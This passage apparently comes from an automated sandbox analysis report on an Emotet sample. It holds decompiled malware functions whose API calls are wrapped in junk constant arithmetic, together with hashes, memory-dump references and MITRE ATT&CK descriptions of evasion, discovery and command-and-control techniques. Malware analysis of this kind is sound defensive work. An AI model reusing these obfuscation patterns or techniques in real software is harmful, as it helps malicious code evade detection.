				void* _t43;
				void* _t53;
				signed int _t55;
				long _t60;
				long _t61;

				_push(_a12);
				_t60 = __edx;
				_t61 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v20 = 0x610f25;
				_v20 = _v20 ^ 0x98bdb346;
				_v20 = _v20 >> 3;
				_v20 = _v20 ^ 0x13199c72;
				_v16 = 0x24641b;
				_t55 = 0x72;
				_v16 = _v16 * 0x35;
				_v16 = _v16 ^ 0xfebd96de;
				_v16 = _v16 ^ 0xf931a9e3;
				_v12 = 0x6331a9;
				_v12 = _v12 >> 0xb;
				_v12 = _v12 / _t55;
				_v12 = _v12 ^ 0x0006f398;
				_v8 = 0x8145a8;
				_v8 = _v8 >> 0xa;
				_v8 = _v8 << 0xd;
				_v8 = _v8 + 0x8268;
				_v8 = _v8 ^ 0x0405b518;
				E10002309(_t55 + 0x5d, _t55, _t55, 0x9d19c04e, _t55, 0x9c9047d0);
				_t53 = RtlAllocateHeap(_a8, _t60, _t61); // executed
				return _t53;
			}

APIs

RtlAllocateHeap.NTDLL(F931A9E3,01AD2A76,65B9EDAF,?,?,?,?,?,?,?,?,00000000,229292B5), ref: 10002A3E

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 138a33bbf657fc90b6a1f11ed01e494c992cf007267dd6aff1ee16601a01d635
Instruction ID: a28c389faf7b726d87918facb3c60479c9af1eed29e3a2ef13c7030710ba699e
Opcode Fuzzy Hash: 138a33bbf657fc90b6a1f11ed01e494c992cf007267dd6aff1ee16601a01d635
Instruction Fuzzy Hash: 84215372C00208BBDF18CFA8D84A8DEBFB5FB41710F108098E824A6210E3B4AB14DF90

Uniqueness

Uniqueness Score: -1.00%

Function 10017708, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 100177B6

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction ID: e01db37ee4e11aec0ed8fe9f4a455c9f05bd25de310d07c039ce80a3f7d39afa
Opcode Fuzzy Hash: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction Fuzzy Hash: CC1134B6D00209FBDB08CFA4D94A9AEBBB4FF44304F108189E814AB251E3B09B108F91

Uniqueness

Uniqueness Score: -1.00%

Function 1001A566, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1001A566(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t31;
				int _t39;

				_push(_a4);
				_push(__ecx);
				E10022523(_t31);
				_v20 = 0xa80c31;
				_v20 = _v20 * 0x6c;
				_v20 = _v20 ^ 0x46e6f799;
				_v16 = 0x35d7e6;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xbafefac0;
				_v12 = 0x55f9ae;
				_v12 = _v12 + 0xffffbfa6;
				_v12 = _v12 | 0xf8d2795e;
				_v12 = _v12 ^ 0xf8daa7f9;
				_v8 = 0xe46cfe;
				_v8 = _v8 ^ 0xeb94df75;
				_v8 = _v8 | 0xf69b0666;
				_v8 = _v8 ^ 0xfffa92dc;
				E10002309(0x148, __ecx, __ecx, 0x2237d547, __ecx, 0x9c9047d0);
				_t39 = FindCloseChangeNotification(_a4); // executed
				return _t39;
			}

APIs

FindCloseChangeNotification.KERNEL32(F8DAA7F9), ref: 1001A601

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction ID: 916d80f1436c55e495bde87e87ea32654bf5eec04e964754689aa7ec780072d2
Opcode Fuzzy Hash: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction Fuzzy Hash: 1F11F3B5C1030DFBCB18DFE8D8869AEBBB4EF44304F108698A855A6261D3B56B158F91

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

APIs

lstrcmpiW.KERNEL32(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report wUKXjICs5f

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre